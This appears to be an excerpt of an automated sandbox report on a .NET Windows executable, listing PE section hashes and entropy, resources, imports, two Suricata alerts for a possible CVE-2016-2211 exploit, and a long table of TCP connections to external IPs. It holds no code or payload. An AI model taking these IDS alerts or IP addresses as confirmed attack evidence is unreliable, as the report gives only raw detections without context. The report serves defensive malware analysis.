.text	0x2000	0x60fb24	0x60fc00	935fc6ce3cd3ebf8fbc30adc805334f8	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.sdata	0x612000	0x138	0x200	2b09539ff4c51eb230bd835080b63517	False	0.279296875	data	2.11838246956095	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x614000	0xcc88	0xce00	0be98fb8efcbbfdb03fefe23184dff85	False	0.17957372572815533	data	4.313831842937731	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x622000	0xc	0x200	3c75d8bdac0c06768297755f0689be06	False	0.044921875	MacBinary, Mon Feb 6 07:28:16 2040 INVALID date, modified Mon Feb 6 07:28:16 2040 "a"	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x6144c8	0xeeb	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.8866195339094004
RT_ICON	0x6153b8	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 0	0.061230514879546526
RT_ICON	0x6195e0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	0.09139004149377593
RT_ICON	0x61bb88	0x1a68	Device independent bitmap graphic, 40 x 80 x 32, image size 0	0.11553254437869823
RT_ICON	0x61d5f0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	0.1376641651031895
RT_ICON	0x61e698	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	0.1918032786885246
RT_ICON	0x61f020	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 0	0.2779069767441861
RT_ICON	0x61f6d8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	0.30939716312056736
RT_GROUP_ICON	0x61fb40	0x76	data	0.7457627118644068
RT_VERSION	0x614280	0x244	data	0.46551724137931033
RT_MANIFEST	0x61fbb8	0x10d0	XML 1.0 document, Unicode text, UTF-8 (with BOM) text	0.40892193308550184

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-30T00:47:04.044403+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49743	13.85.23.86	192.168.2.7
2024-07-30T00:46:25.027588+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49729	13.85.23.86	192.168.2.7

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 30, 2024 00:45:59.655893087 CEST	49671	443	192.168.2.7	204.79.197.203
Jul 30, 2024 00:45:59.968110085 CEST	49671	443	192.168.2.7	204.79.197.203
Jul 30, 2024 00:46:00.577491999 CEST	49671	443	192.168.2.7	204.79.197.203
Jul 30, 2024 00:46:01.780633926 CEST	49671	443	192.168.2.7	204.79.197.203
Jul 30, 2024 00:46:02.171298027 CEST	49674	443	192.168.2.7	104.98.116.138
Jul 30, 2024 00:46:02.172024965 CEST	49675	443	192.168.2.7	104.98.116.138
Jul 30, 2024 00:46:02.327687025 CEST	49672	443	192.168.2.7	104.98.116.138
Jul 30, 2024 00:46:04.186835051 CEST	49671	443	192.168.2.7	204.79.197.203
Jul 30, 2024 00:46:06.848844051 CEST	49701	443	192.168.2.7	128.116.21.3
Jul 30, 2024 00:46:06.848870993 CEST	443	49701	128.116.21.3	192.168.2.7
Jul 30, 2024 00:46:06.848932981 CEST	49701	443	192.168.2.7	128.116.21.3
Jul 30, 2024 00:46:06.850284100 CEST	49701	443	192.168.2.7	128.116.21.3
Jul 30, 2024 00:46:06.850298882 CEST	443	49701	128.116.21.3	192.168.2.7
Jul 30, 2024 00:46:07.616872072 CEST	443	49701	128.116.21.3	192.168.2.7
Jul 30, 2024 00:46:07.622466087 CEST	49701	443	192.168.2.7	128.116.21.3
Jul 30, 2024 00:46:07.622493029 CEST	443	49701	128.116.21.3	192.168.2.7
Jul 30, 2024 00:46:07.623908997 CEST	443	49701	128.116.21.3	192.168.2.7
Jul 30, 2024 00:46:07.623991013 CEST	49701	443	192.168.2.7	128.116.21.3
Jul 30, 2024 00:46:07.625072956 CEST	49701	443	192.168.2.7	128.116.21.3
Jul 30, 2024 00:46:07.625241995 CEST	443	49701	128.116.21.3	192.168.2.7
Jul 30, 2024 00:46:07.625261068 CEST	49701	443	192.168.2.7	128.116.21.3
Jul 30, 2024 00:46:07.625308037 CEST	49701	443	192.168.2.7	128.116.21.3
Jul 30, 2024 00:46:07.920622110 CEST	49704	443	192.168.2.7	18.239.18.53
Jul 30, 2024 00:46:07.920656919 CEST	443	49704	18.239.18.53	192.168.2.7
Jul 30, 2024 00:46:07.920717955 CEST	49704	443	192.168.2.7	18.239.18.53
Jul 30, 2024 00:46:07.922600985 CEST	49704	443	192.168.2.7	18.239.18.53
Jul 30, 2024 00:46:07.922622919 CEST	443	49704	18.239.18.53	192.168.2.7
Jul 30, 2024 00:46:08.199512005 CEST	49677	443	192.168.2.7	20.50.201.200
Jul 30, 2024 00:46:08.578944921 CEST	49677	443	192.168.2.7	20.50.201.200
Jul 30, 2024 00:46:08.699799061 CEST	443	49704	18.239.18.53	192.168.2.7
Jul 30, 2024 00:46:08.700566053 CEST	49704	443	192.168.2.7	18.239.18.53
Jul 30, 2024 00:46:08.700592995 CEST	443	49704	18.239.18.53	192.168.2.7
Jul 30, 2024 00:46:08.701718092 CEST	443	49704	18.239.18.53	192.168.2.7
Jul 30, 2024 00:46:08.701786041 CEST	49704	443	192.168.2.7	18.239.18.53
Jul 30, 2024 00:46:08.703896999 CEST	49704	443	192.168.2.7	18.239.18.53
Jul 30, 2024 00:46:08.704006910 CEST	49704	443	192.168.2.7	18.239.18.53
Jul 30, 2024 00:46:08.994297981 CEST	49671	443	192.168.2.7	204.79.197.203
Jul 30, 2024 00:46:09.328248978 CEST	49677	443	192.168.2.7	20.50.201.200
Jul 30, 2024 00:46:10.831352949 CEST	49677	443	192.168.2.7	20.50.201.200
Jul 30, 2024 00:46:11.774279118 CEST	49674	443	192.168.2.7	104.98.116.138
Jul 30, 2024 00:46:11.774286032 CEST	49675	443	192.168.2.7	104.98.116.138
Jul 30, 2024 00:46:11.934380054 CEST	49672	443	192.168.2.7	104.98.116.138
Jul 30, 2024 00:46:12.897830009 CEST	49705	443	192.168.2.7	18.239.18.53
Jul 30, 2024 00:46:12.897890091 CEST	443	49705	18.239.18.53	192.168.2.7
Jul 30, 2024 00:46:12.897947073 CEST	49705	443	192.168.2.7	18.239.18.53
Jul 30, 2024 00:46:12.899719954 CEST	49705	443	192.168.2.7	18.239.18.53
Jul 30, 2024 00:46:12.899751902 CEST	443	49705	18.239.18.53	192.168.2.7
Jul 30, 2024 00:46:13.640064955 CEST	443	49705	18.239.18.53	192.168.2.7
Jul 30, 2024 00:46:13.640561104 CEST	49705	443	192.168.2.7	18.239.18.53
Jul 30, 2024 00:46:13.640580893 CEST	443	49705	18.239.18.53	192.168.2.7
Jul 30, 2024 00:46:13.641509056 CEST	443	49705	18.239.18.53	192.168.2.7
Jul 30, 2024 00:46:13.641558886 CEST	49705	443	192.168.2.7	18.239.18.53
Jul 30, 2024 00:46:13.643131971 CEST	49705	443	192.168.2.7	18.239.18.53
Jul 30, 2024 00:46:13.643228054 CEST	49705	443	192.168.2.7	18.239.18.53
Jul 30, 2024 00:46:13.746634960 CEST	49708	443	192.168.2.7	18.239.18.53
Jul 30, 2024 00:46:13.746685028 CEST	443	49708	18.239.18.53	192.168.2.7
Jul 30, 2024 00:46:13.746764898 CEST	49708	443	192.168.2.7	18.239.18.53
Jul 30, 2024 00:46:13.748600960 CEST	49708	443	192.168.2.7	18.239.18.53
Jul 30, 2024 00:46:13.748617887 CEST	443	49708	18.239.18.53	192.168.2.7
Jul 30, 2024 00:46:13.821269989 CEST	49677	443	192.168.2.7	20.50.201.200
Jul 30, 2024 00:46:14.408735037 CEST	443	49698	104.98.116.138	192.168.2.7
Jul 30, 2024 00:46:14.408853054 CEST	49698	443	192.168.2.7	104.98.116.138
Jul 30, 2024 00:46:14.476430893 CEST	443	49708	18.239.18.53	192.168.2.7
Jul 30, 2024 00:46:14.478559971 CEST	49708	443	192.168.2.7	18.239.18.53
Jul 30, 2024 00:46:14.478585005 CEST	443	49708	18.239.18.53	192.168.2.7
Jul 30, 2024 00:46:14.479603052 CEST	443	49708	18.239.18.53	192.168.2.7
Jul 30, 2024 00:46:14.479700089 CEST	49708	443	192.168.2.7	18.239.18.53
Jul 30, 2024 00:46:14.480865002 CEST	49708	443	192.168.2.7	18.239.18.53
Jul 30, 2024 00:46:14.480990887 CEST	49708	443	192.168.2.7	18.239.18.53
Jul 30, 2024 00:46:18.608511925 CEST	49671	443	192.168.2.7	204.79.197.203
Jul 30, 2024 00:46:19.051517010 CEST	49712	443	192.168.2.7	172.67.149.76
Jul 30, 2024 00:46:19.051532030 CEST	443	49712	172.67.149.76	192.168.2.7
Jul 30, 2024 00:46:19.051650047 CEST	49712	443	192.168.2.7	172.67.149.76
Jul 30, 2024 00:46:19.053556919 CEST	49712	443	192.168.2.7	172.67.149.76
Jul 30, 2024 00:46:19.053569078 CEST	443	49712	172.67.149.76	192.168.2.7
Jul 30, 2024 00:46:19.556926966 CEST	443	49712	172.67.149.76	192.168.2.7
Jul 30, 2024 00:46:19.559017897 CEST	49712	443	192.168.2.7	172.67.149.76
Jul 30, 2024 00:46:19.559048891 CEST	443	49712	172.67.149.76	192.168.2.7
Jul 30, 2024 00:46:19.560353994 CEST	443	49712	172.67.149.76	192.168.2.7
Jul 30, 2024 00:46:19.560420990 CEST	49712	443	192.168.2.7	172.67.149.76
Jul 30, 2024 00:46:19.564663887 CEST	49712	443	192.168.2.7	172.67.149.76
Jul 30, 2024 00:46:19.564748049 CEST	443	49712	172.67.149.76	192.168.2.7
Jul 30, 2024 00:46:19.565690041 CEST	49712	443	192.168.2.7	172.67.149.76
Jul 30, 2024 00:46:19.565705061 CEST	443	49712	172.67.149.76	192.168.2.7
Jul 30, 2024 00:46:19.608299971 CEST	49712	443	192.168.2.7	172.67.149.76
Jul 30, 2024 00:46:19.783289909 CEST	49677	443	192.168.2.7	20.50.201.200
Jul 30, 2024 00:46:19.868130922 CEST	49715	443	192.168.2.7	18.239.18.53
Jul 30, 2024 00:46:19.868226051 CEST	443	49715	18.239.18.53	192.168.2.7
Jul 30, 2024 00:46:19.868307114 CEST	49715	443	192.168.2.7	18.239.18.53
Jul 30, 2024 00:46:19.868863106 CEST	49715	443	192.168.2.7	18.239.18.53
Jul 30, 2024 00:46:19.868884087 CEST	443	49715	18.239.18.53	192.168.2.7
Jul 30, 2024 00:46:20.070288897 CEST	443	49712	172.67.149.76	192.168.2.7
Jul 30, 2024 00:46:20.070338011 CEST	443	49712	172.67.149.76	192.168.2.7
Jul 30, 2024 00:46:20.070395947 CEST	443	49712	172.67.149.76	192.168.2.7
Jul 30, 2024 00:46:20.070424080 CEST	49712	443	192.168.2.7	172.67.149.76
Jul 30, 2024 00:46:20.070434093 CEST	443	49712	172.67.149.76	192.168.2.7
Jul 30, 2024 00:46:20.070466995 CEST	49712	443	192.168.2.7	172.67.149.76
Jul 30, 2024 00:46:20.070489883 CEST	49712	443	192.168.2.7	172.67.149.76
Jul 30, 2024 00:46:20.071214914 CEST	443	49712	172.67.149.76	192.168.2.7
Jul 30, 2024 00:46:20.071290970 CEST	49712	443	192.168.2.7	172.67.149.76
Jul 30, 2024 00:46:20.071331978 CEST	443	49712	172.67.149.76	192.168.2.7
Jul 30, 2024 00:46:20.071419001 CEST	443	49712	172.67.149.76	192.168.2.7
Jul 30, 2024 00:46:20.071464062 CEST	49712	443	192.168.2.7	172.67.149.76
Jul 30, 2024 00:46:20.073489904 CEST	49712	443	192.168.2.7	172.67.149.76
Jul 30, 2024 00:46:20.073497057 CEST	443	49712	172.67.149.76	192.168.2.7
Jul 30, 2024 00:46:20.176579952 CEST	49718	443	192.168.2.7	88.212.201.198
Jul 30, 2024 00:46:20.176614046 CEST	443	49718	88.212.201.198	192.168.2.7
Jul 30, 2024 00:46:20.176743031 CEST	49718	443	192.168.2.7	88.212.201.198
Jul 30, 2024 00:46:20.178766012 CEST	49718	443	192.168.2.7	88.212.201.198
Jul 30, 2024 00:46:20.178777933 CEST	443	49718	88.212.201.198	192.168.2.7
Jul 30, 2024 00:46:20.181555033 CEST	49719	443	192.168.2.7	172.67.132.113
Jul 30, 2024 00:46:20.181602955 CEST	443	49719	172.67.132.113	192.168.2.7
Jul 30, 2024 00:46:20.181673050 CEST	49719	443	192.168.2.7	172.67.132.113
Jul 30, 2024 00:46:20.181906939 CEST	49719	443	192.168.2.7	172.67.132.113
Jul 30, 2024 00:46:20.181920052 CEST	443	49719	172.67.132.113	192.168.2.7
Jul 30, 2024 00:46:20.815304041 CEST	443	49715	18.239.18.53	192.168.2.7
Jul 30, 2024 00:46:20.816606998 CEST	49715	443	192.168.2.7	18.239.18.53
Jul 30, 2024 00:46:20.816658020 CEST	443	49715	18.239.18.53	192.168.2.7
Jul 30, 2024 00:46:20.818125963 CEST	443	49715	18.239.18.53	192.168.2.7
Jul 30, 2024 00:46:20.818202019 CEST	49715	443	192.168.2.7	18.239.18.53
Jul 30, 2024 00:46:20.818897009 CEST	49715	443	192.168.2.7	18.239.18.53
Jul 30, 2024 00:46:20.819010019 CEST	443	49719	172.67.132.113	192.168.2.7
Jul 30, 2024 00:46:20.819089890 CEST	443	49715	18.239.18.53	192.168.2.7
Jul 30, 2024 00:46:20.819165945 CEST	49715	443	192.168.2.7	18.239.18.53
Jul 30, 2024 00:46:20.819165945 CEST	49715	443	192.168.2.7	18.239.18.53
Jul 30, 2024 00:46:20.819670916 CEST	49719	443	192.168.2.7	172.67.132.113
Jul 30, 2024 00:46:20.819701910 CEST	443	49719	172.67.132.113	192.168.2.7
Jul 30, 2024 00:46:20.820729971 CEST	443	49719	172.67.132.113	192.168.2.7
Jul 30, 2024 00:46:20.820789099 CEST	49719	443	192.168.2.7	172.67.132.113
Jul 30, 2024 00:46:20.821897030 CEST	49719	443	192.168.2.7	172.67.132.113
Jul 30, 2024 00:46:20.821966887 CEST	443	49719	172.67.132.113	192.168.2.7
Jul 30, 2024 00:46:20.822432995 CEST	49719	443	192.168.2.7	172.67.132.113
Jul 30, 2024 00:46:20.822439909 CEST	443	49719	172.67.132.113	192.168.2.7
Jul 30, 2024 00:46:20.863298893 CEST	49719	443	192.168.2.7	172.67.132.113
Jul 30, 2024 00:46:20.944083929 CEST	49723	443	192.168.2.7	18.239.18.53
Jul 30, 2024 00:46:20.944120884 CEST	443	49723	18.239.18.53	192.168.2.7
Jul 30, 2024 00:46:20.944273949 CEST	49723	443	192.168.2.7	18.239.18.53
Jul 30, 2024 00:46:20.952313900 CEST	49723	443	192.168.2.7	18.239.18.53
Jul 30, 2024 00:46:20.952330112 CEST	443	49723	18.239.18.53	192.168.2.7
Jul 30, 2024 00:46:20.993252993 CEST	443	49719	172.67.132.113	192.168.2.7
Jul 30, 2024 00:46:20.993350983 CEST	443	49719	172.67.132.113	192.168.2.7
Jul 30, 2024 00:46:20.993380070 CEST	443	49719	172.67.132.113	192.168.2.7
Jul 30, 2024 00:46:20.993396997 CEST	49719	443	192.168.2.7	172.67.132.113
Jul 30, 2024 00:46:20.993403912 CEST	443	49719	172.67.132.113	192.168.2.7
Jul 30, 2024 00:46:20.993416071 CEST	443	49719	172.67.132.113	192.168.2.7
Jul 30, 2024 00:46:20.993455887 CEST	49719	443	192.168.2.7	172.67.132.113
Jul 30, 2024 00:46:20.994107962 CEST	443	49719	172.67.132.113	192.168.2.7
Jul 30, 2024 00:46:20.994200945 CEST	49719	443	192.168.2.7	172.67.132.113
Jul 30, 2024 00:46:20.994208097 CEST	443	49719	172.67.132.113	192.168.2.7
Jul 30, 2024 00:46:20.995321035 CEST	443	49719	172.67.132.113	192.168.2.7
Jul 30, 2024 00:46:20.995363951 CEST	49719	443	192.168.2.7	172.67.132.113
Jul 30, 2024 00:46:20.995373964 CEST	443	49719	172.67.132.113	192.168.2.7
Jul 30, 2024 00:46:20.997427940 CEST	443	49719	172.67.132.113	192.168.2.7
Jul 30, 2024 00:46:20.997518063 CEST	49719	443	192.168.2.7	172.67.132.113
Jul 30, 2024 00:46:20.997523069 CEST	443	49719	172.67.132.113	192.168.2.7
Jul 30, 2024 00:46:21.000611067 CEST	49719	443	192.168.2.7	172.67.132.113
Jul 30, 2024 00:46:21.000682116 CEST	443	49719	172.67.132.113	192.168.2.7
Jul 30, 2024 00:46:21.000819921 CEST	49719	443	192.168.2.7	172.67.132.113
Jul 30, 2024 00:46:21.022978067 CEST	49724	443	192.168.2.7	35.190.80.1
Jul 30, 2024 00:46:21.023034096 CEST	443	49724	35.190.80.1	192.168.2.7
Jul 30, 2024 00:46:21.023123026 CEST	49724	443	192.168.2.7	35.190.80.1
Jul 30, 2024 00:46:21.025522947 CEST	49724	443	192.168.2.7	35.190.80.1
Jul 30, 2024 00:46:21.025537014 CEST	443	49724	35.190.80.1	192.168.2.7
Jul 30, 2024 00:46:21.145535946 CEST	443	49718	88.212.201.198	192.168.2.7
Jul 30, 2024 00:46:21.145908117 CEST	49718	443	192.168.2.7	88.212.201.198
Jul 30, 2024 00:46:21.145919085 CEST	443	49718	88.212.201.198	192.168.2.7
Jul 30, 2024 00:46:21.147010088 CEST	443	49718	88.212.201.198	192.168.2.7
Jul 30, 2024 00:46:21.147068024 CEST	49718	443	192.168.2.7	88.212.201.198
Jul 30, 2024 00:46:21.148727894 CEST	49718	443	192.168.2.7	88.212.201.198
Jul 30, 2024 00:46:21.148789883 CEST	443	49718	88.212.201.198	192.168.2.7
Jul 30, 2024 00:46:21.149135113 CEST	49718	443	192.168.2.7	88.212.201.198
Jul 30, 2024 00:46:21.149147034 CEST	443	49718	88.212.201.198	192.168.2.7
Jul 30, 2024 00:46:21.198301077 CEST	49718	443	192.168.2.7	88.212.201.198
Jul 30, 2024 00:46:21.377924919 CEST	443	49718	88.212.201.198	192.168.2.7
Jul 30, 2024 00:46:21.378009081 CEST	443	49718	88.212.201.198	192.168.2.7
Jul 30, 2024 00:46:21.378171921 CEST	49718	443	192.168.2.7	88.212.201.198
Jul 30, 2024 00:46:21.379188061 CEST	49718	443	192.168.2.7	88.212.201.198
Jul 30, 2024 00:46:21.379205942 CEST	443	49718	88.212.201.198	192.168.2.7
Jul 30, 2024 00:46:21.380840063 CEST	49725	443	192.168.2.7	88.212.201.198
Jul 30, 2024 00:46:21.380873919 CEST	443	49725	88.212.201.198	192.168.2.7
Jul 30, 2024 00:46:21.380983114 CEST	49725	443	192.168.2.7	88.212.201.198
Jul 30, 2024 00:46:21.381262064 CEST	49725	443	192.168.2.7	88.212.201.198
Jul 30, 2024 00:46:21.381277084 CEST	443	49725	88.212.201.198	192.168.2.7
Jul 30, 2024 00:46:21.514955997 CEST	443	49724	35.190.80.1	192.168.2.7
Jul 30, 2024 00:46:21.515244007 CEST	49724	443	192.168.2.7	35.190.80.1
Jul 30, 2024 00:46:21.515271902 CEST	443	49724	35.190.80.1	192.168.2.7
Jul 30, 2024 00:46:21.516279936 CEST	443	49724	35.190.80.1	192.168.2.7
Jul 30, 2024 00:46:21.516366959 CEST	49724	443	192.168.2.7	35.190.80.1
Jul 30, 2024 00:46:21.518590927 CEST	49724	443	192.168.2.7	35.190.80.1
Jul 30, 2024 00:46:21.518676996 CEST	443	49724	35.190.80.1	192.168.2.7
Jul 30, 2024 00:46:21.519418955 CEST	49724	443	192.168.2.7	35.190.80.1
Jul 30, 2024 00:46:21.519429922 CEST	443	49724	35.190.80.1	192.168.2.7
Jul 30, 2024 00:46:21.564368010 CEST	49724	443	192.168.2.7	35.190.80.1
Jul 30, 2024 00:46:21.660559893 CEST	443	49724	35.190.80.1	192.168.2.7
Jul 30, 2024 00:46:21.660630941 CEST	443	49724	35.190.80.1	192.168.2.7
Jul 30, 2024 00:46:21.661678076 CEST	49724	443	192.168.2.7	35.190.80.1
Jul 30, 2024 00:46:21.662023067 CEST	49724	443	192.168.2.7	35.190.80.1
Jul 30, 2024 00:46:21.662048101 CEST	443	49724	35.190.80.1	192.168.2.7
Jul 30, 2024 00:46:21.662960052 CEST	49727	443	192.168.2.7	35.190.80.1
Jul 30, 2024 00:46:21.663005114 CEST	443	49727	35.190.80.1	192.168.2.7
Jul 30, 2024 00:46:21.663132906 CEST	49727	443	192.168.2.7	35.190.80.1
Jul 30, 2024 00:46:21.663527966 CEST	49727	443	192.168.2.7	35.190.80.1
Jul 30, 2024 00:46:21.663542032 CEST	443	49727	35.190.80.1	192.168.2.7
Jul 30, 2024 00:46:21.893369913 CEST	443	49723	18.239.18.53	192.168.2.7
Jul 30, 2024 00:46:21.895606995 CEST	49723	443	192.168.2.7	18.239.18.53
Jul 30, 2024 00:46:21.895632029 CEST	443	49723	18.239.18.53	192.168.2.7
Jul 30, 2024 00:46:21.896652937 CEST	443	49723	18.239.18.53	192.168.2.7
Jul 30, 2024 00:46:21.896719933 CEST	49723	443	192.168.2.7	18.239.18.53
Jul 30, 2024 00:46:21.897912979 CEST	49723	443	192.168.2.7	18.239.18.53
Jul 30, 2024 00:46:21.898025990 CEST	49723	443	192.168.2.7	18.239.18.53
Jul 30, 2024 00:46:22.005923033 CEST	49728	443	192.168.2.7	18.239.18.53
Jul 30, 2024 00:46:22.005971909 CEST	443	49728	18.239.18.53	192.168.2.7
Jul 30, 2024 00:46:22.006036043 CEST	49728	443	192.168.2.7	18.239.18.53
Jul 30, 2024 00:46:22.050369978 CEST	49728	443	192.168.2.7	18.239.18.53
Jul 30, 2024 00:46:22.050411940 CEST	443	49728	18.239.18.53	192.168.2.7
Jul 30, 2024 00:46:22.106353998 CEST	443	49725	88.212.201.198	192.168.2.7
Jul 30, 2024 00:46:22.113200903 CEST	49725	443	192.168.2.7	88.212.201.198
Jul 30, 2024 00:46:22.113219023 CEST	443	49725	88.212.201.198	192.168.2.7
Jul 30, 2024 00:46:22.113604069 CEST	443	49725	88.212.201.198	192.168.2.7
Jul 30, 2024 00:46:22.119096041 CEST	49725	443	192.168.2.7	88.212.201.198
Jul 30, 2024 00:46:22.119194031 CEST	443	49725	88.212.201.198	192.168.2.7
Jul 30, 2024 00:46:22.119595051 CEST	49725	443	192.168.2.7	88.212.201.198
Jul 30, 2024 00:46:22.164508104 CEST	443	49725	88.212.201.198	192.168.2.7
Jul 30, 2024 00:46:22.275305033 CEST	49729	443	192.168.2.7	13.85.23.86
Jul 30, 2024 00:46:22.275361061 CEST	443	49729	13.85.23.86	192.168.2.7
Jul 30, 2024 00:46:22.275576115 CEST	49729	443	192.168.2.7	13.85.23.86
Jul 30, 2024 00:46:22.278165102 CEST	49729	443	192.168.2.7	13.85.23.86
Jul 30, 2024 00:46:22.278177977 CEST	443	49729	13.85.23.86	192.168.2.7
Jul 30, 2024 00:46:22.362031937 CEST	443	49727	35.190.80.1	192.168.2.7
Jul 30, 2024 00:46:22.362360001 CEST	49727	443	192.168.2.7	35.190.80.1
Jul 30, 2024 00:46:22.362380028 CEST	443	49727	35.190.80.1	192.168.2.7
Jul 30, 2024 00:46:22.362729073 CEST	443	49727	35.190.80.1	192.168.2.7
Jul 30, 2024 00:46:22.363085032 CEST	49727	443	192.168.2.7	35.190.80.1
Jul 30, 2024 00:46:22.363153934 CEST	443	49727	35.190.80.1	192.168.2.7
Jul 30, 2024 00:46:22.363269091 CEST	49727	443	192.168.2.7	35.190.80.1
Jul 30, 2024 00:46:22.404411077 CEST	49727	443	192.168.2.7	35.190.80.1
Jul 30, 2024 00:46:22.404424906 CEST	443	49727	35.190.80.1	192.168.2.7
Jul 30, 2024 00:46:22.521498919 CEST	443	49727	35.190.80.1	192.168.2.7
Jul 30, 2024 00:46:22.521589041 CEST	443	49727	35.190.80.1	192.168.2.7
Jul 30, 2024 00:46:22.521636009 CEST	49727	443	192.168.2.7	35.190.80.1
Jul 30, 2024 00:46:22.524509907 CEST	49727	443	192.168.2.7	35.190.80.1
Jul 30, 2024 00:46:22.524535894 CEST	443	49727	35.190.80.1	192.168.2.7
Jul 30, 2024 00:46:22.580459118 CEST	443	49725	88.212.201.198	192.168.2.7
Jul 30, 2024 00:46:22.580552101 CEST	443	49725	88.212.201.198	192.168.2.7
Jul 30, 2024 00:46:22.580790043 CEST	49725	443	192.168.2.7	88.212.201.198
Jul 30, 2024 00:46:22.596606970 CEST	49725	443	192.168.2.7	88.212.201.198
Jul 30, 2024 00:46:22.596632004 CEST	443	49725	88.212.201.198	192.168.2.7
Jul 30, 2024 00:46:22.617496014 CEST	49730	443	192.168.2.7	172.67.132.113
Jul 30, 2024 00:46:22.617539883 CEST	443	49730	172.67.132.113	192.168.2.7
Jul 30, 2024 00:46:22.617625952 CEST	49730	443	192.168.2.7	172.67.132.113
Jul 30, 2024 00:46:22.617903948 CEST	49730	443	192.168.2.7	172.67.132.113
Jul 30, 2024 00:46:22.617918015 CEST	443	49730	172.67.132.113	192.168.2.7
Jul 30, 2024 00:46:22.641784906 CEST	49731	443	192.168.2.7	88.212.201.204
Jul 30, 2024 00:46:22.641820908 CEST	443	49731	88.212.201.204	192.168.2.7
Jul 30, 2024 00:46:22.641978979 CEST	49731	443	192.168.2.7	88.212.201.204
Jul 30, 2024 00:46:22.642679930 CEST	49731	443	192.168.2.7	88.212.201.204
Jul 30, 2024 00:46:22.642699003 CEST	443	49731	88.212.201.204	192.168.2.7
Jul 30, 2024 00:46:22.780766010 CEST	443	49728	18.239.18.53	192.168.2.7
Jul 30, 2024 00:46:22.782051086 CEST	49728	443	192.168.2.7	18.239.18.53
Jul 30, 2024 00:46:22.782080889 CEST	443	49728	18.239.18.53	192.168.2.7
Jul 30, 2024 00:46:22.783622026 CEST	443	49728	18.239.18.53	192.168.2.7
Jul 30, 2024 00:46:22.783679962 CEST	49728	443	192.168.2.7	18.239.18.53
Jul 30, 2024 00:46:22.784953117 CEST	49728	443	192.168.2.7	18.239.18.53
Jul 30, 2024 00:46:22.785046101 CEST	49728	443	192.168.2.7	18.239.18.53
Jul 30, 2024 00:46:22.825072050 CEST	49698	443	192.168.2.7	104.98.116.138
Jul 30, 2024 00:46:22.826006889 CEST	49732	443	192.168.2.7	104.98.116.138
Jul 30, 2024 00:46:22.826052904 CEST	443	49732	104.98.116.138	192.168.2.7
Jul 30, 2024 00:46:22.826292038 CEST	49732	443	192.168.2.7	104.98.116.138
Jul 30, 2024 00:46:22.833170891 CEST	49732	443	192.168.2.7	104.98.116.138
Jul 30, 2024 00:46:22.833201885 CEST	443	49732	104.98.116.138	192.168.2.7
Jul 30, 2024 00:46:22.841299057 CEST	443	49698	104.98.116.138	192.168.2.7
Jul 30, 2024 00:46:22.998465061 CEST	443	49729	13.85.23.86	192.168.2.7
Jul 30, 2024 00:46:22.998555899 CEST	49729	443	192.168.2.7	13.85.23.86
Jul 30, 2024 00:46:23.020932913 CEST	49729	443	192.168.2.7	13.85.23.86
Jul 30, 2024 00:46:23.020953894 CEST	443	49729	13.85.23.86	192.168.2.7
Jul 30, 2024 00:46:23.021908998 CEST	443	49729	13.85.23.86	192.168.2.7
Jul 30, 2024 00:46:23.070324898 CEST	49729	443	192.168.2.7	13.85.23.86
Jul 30, 2024 00:46:23.096664906 CEST	443	49730	172.67.132.113	192.168.2.7
Jul 30, 2024 00:46:23.096975088 CEST	49730	443	192.168.2.7	172.67.132.113
Jul 30, 2024 00:46:23.097002029 CEST	443	49730	172.67.132.113	192.168.2.7
Jul 30, 2024 00:46:23.098009109 CEST	443	49730	172.67.132.113	192.168.2.7
Jul 30, 2024 00:46:23.098083973 CEST	49730	443	192.168.2.7	172.67.132.113
Jul 30, 2024 00:46:23.098376989 CEST	49730	443	192.168.2.7	172.67.132.113
Jul 30, 2024 00:46:23.098434925 CEST	443	49730	172.67.132.113	192.168.2.7
Jul 30, 2024 00:46:23.098524094 CEST	49730	443	192.168.2.7	172.67.132.113
Jul 30, 2024 00:46:23.098531008 CEST	443	49730	172.67.132.113	192.168.2.7
Jul 30, 2024 00:46:23.149323940 CEST	49730	443	192.168.2.7	172.67.132.113
Jul 30, 2024 00:46:23.231400967 CEST	443	49730	172.67.132.113	192.168.2.7
Jul 30, 2024 00:46:23.231467962 CEST	443	49730	172.67.132.113	192.168.2.7
Jul 30, 2024 00:46:23.231517076 CEST	443	49730	172.67.132.113	192.168.2.7
Jul 30, 2024 00:46:23.231534004 CEST	49730	443	192.168.2.7	172.67.132.113
Jul 30, 2024 00:46:23.231563091 CEST	443	49730	172.67.132.113	192.168.2.7
Jul 30, 2024 00:46:23.231583118 CEST	443	49730	172.67.132.113	192.168.2.7
Jul 30, 2024 00:46:23.231641054 CEST	49730	443	192.168.2.7	172.67.132.113
Jul 30, 2024 00:46:23.232446909 CEST	49730	443	192.168.2.7	172.67.132.113
Jul 30, 2024 00:46:23.232465982 CEST	443	49730	172.67.132.113	192.168.2.7
Jul 30, 2024 00:46:23.232475042 CEST	49730	443	192.168.2.7	172.67.132.113
Jul 30, 2024 00:46:23.232532024 CEST	49730	443	192.168.2.7	172.67.132.113
Jul 30, 2024 00:46:23.257704020 CEST	49734	443	192.168.2.7	172.67.132.113
Jul 30, 2024 00:46:23.257751942 CEST	443	49734	172.67.132.113	192.168.2.7
Jul 30, 2024 00:46:23.258158922 CEST	49734	443	192.168.2.7	172.67.132.113
